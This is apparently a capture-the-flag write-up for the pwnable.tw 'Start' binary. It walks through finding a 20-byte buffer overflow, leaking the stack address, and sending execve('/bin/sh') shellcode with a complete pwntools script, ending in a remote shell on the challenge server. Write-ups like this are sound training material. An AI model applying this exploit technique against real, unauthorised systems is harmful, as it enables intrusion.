Start - Pwnable.tw
This challenge is quite simple, it has no protection against the hacker. Just use buffer overflow to change the return address and you can leak stack address. You can then send your shellcode to get the flag.
Finding the buffer size
I used a tool Overflow Exploit Pattern Generator generating a 50 character long string.
Running the executable trough tools such as GDB Enhanced Features (GEF) and checking the contents of the EIP registry, we can see the string 6Aa7
. We now can check this string in the Overflow Exploit Pattern Generator and calculate out the buffer size. The buffer size is 20.
Finding the stack pointer
Disassembling the binary;
0x08048060 push esp
0x08048061 push loc._exit
0x08048066 xor eax, eax
0x08048068 xor ebx, ebx
0x0804806a xor ecx, ecx
0x0804806c xor edx, edx
0x0804806e push 0x3a465443 ; 'CTF:'
0x08048073 push 0x20656874 ; 'the '
0x08048078 push 0x20747261 ; 'art '
0x0804807d push 0x74732073 ; 's st'
0x08048082 push 0x2774654c ; 'Let''
0x08048087 mov ecx, esp
0x08048089 mov dl, 0x14 ; 20
0x0804808b mov bl, 1
0x0804808d mov al, 4
0x0804808f int 0x80
0x08048091 xor ebx, ebx
0x08048093 mov dl, 0x3c ; '<' ; 60
0x08048095 mov al, 3
0x08048097 int 0x80
0x08048099 add esp, 0x14
0x0804809c ret
0x0804809d pop esp
0x0804809e xor eax, eax
0x080480a0 inc eax
0x080480a1 int 0x80
We want to return to 0x08048087
right before the code sets up for sys_write.
This way we can leak the stack pointer.
Start making our payload
Now that we know where to find the stack pointer, we start crafting our payload.
from pwn import *
import os
elf = ELF("./start")
local = True
if local == True:
p = elf.process()
else:
url = "chall.pwnable.tw"
port = 10000
p = remote(url, port)
payload = ("A" * 20).encode("utf-8") # fill the buffer!
payload += p32(0x08048087) # "mov ecx, esp"
print(p.recvuntil("CTF:"))
print("\n[+] Leaking stack address...")
p.send(payload)
stackAddress = unpack(p.read()[:4])
print("\n[+] Leaked Address: " + hex(stackAddress))
This will give us the stack pointer.
Making our shellcode and getting shell
from pwn import *
import os
elf = ELF("./start")
local = False
if local == True:
p = elf.process()
else:
url = "chall.pwnable.tw"
port = 10000
p = remote(url, port)
payload = ("A" * 20).encode("utf-8") # fill the buffer!
payload += p32(0x08048087) # "mov ecx, esp"
print(p.recvuntil("CTF:"))
print("\n[+] Leaking stack address...")
p.send(payload)
stackAddress = unpack(p.read()[:4])
print("\n[+] Leaked Address: " + hex(stackAddress))
shellcode = ("A" * 20).encode("utf-8")
shellcode += p32(stackAddress + 20)
shellcode += asm('xor eax, eax')
shellcode += asm('add eax, 0xb')
shellcode += asm('xor ecx, ecx')
shellcode += asm('xor edx, edx')
shellcode += asm('xor esi, esi')
shellcode += asm('push 0x' + '/sh\x00'[::-1].encode("utf-8").hex())
shellcode += asm('push 0x' + '/bin'[::-1].encode("utf-8").hex())
shellcode += asm('mov ebx, esp')
shellcode += asm('int 0x80')
shellcode += asm('push 0x0804809d')
shellcode += asm('ret')
print("\n[+] Generated shellcode: " + str(shellcode))
p.send(shellcode)
p.interactive()
After executing this code, I got access to the system and got my flag!
[*] '/home/foxmaccloud/Documents/CTF/Pwnable.tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
[+] Opening connection to chall.pwnable.tw on port 10000: Done
b"Let's start the CTF:"
[+] Leaking stack address...
[+] Leaked Address: 0xffcfa730
[+] Generated shellcode: b'AAAAAAAAAAAAAAAAAAAAD\xa7\xcf\xff1\xc0\x83\xc0\x0b1\xc91\xd21\xf6h/sh\x00h/bin\x89\xe3\xcd\x80h\x9d\x80\x04\x08\xc3'
[*] Switching to interactive mode
$ id
uid=1000(start) gid=1000(start) groups=1000(start)
$ whoami
start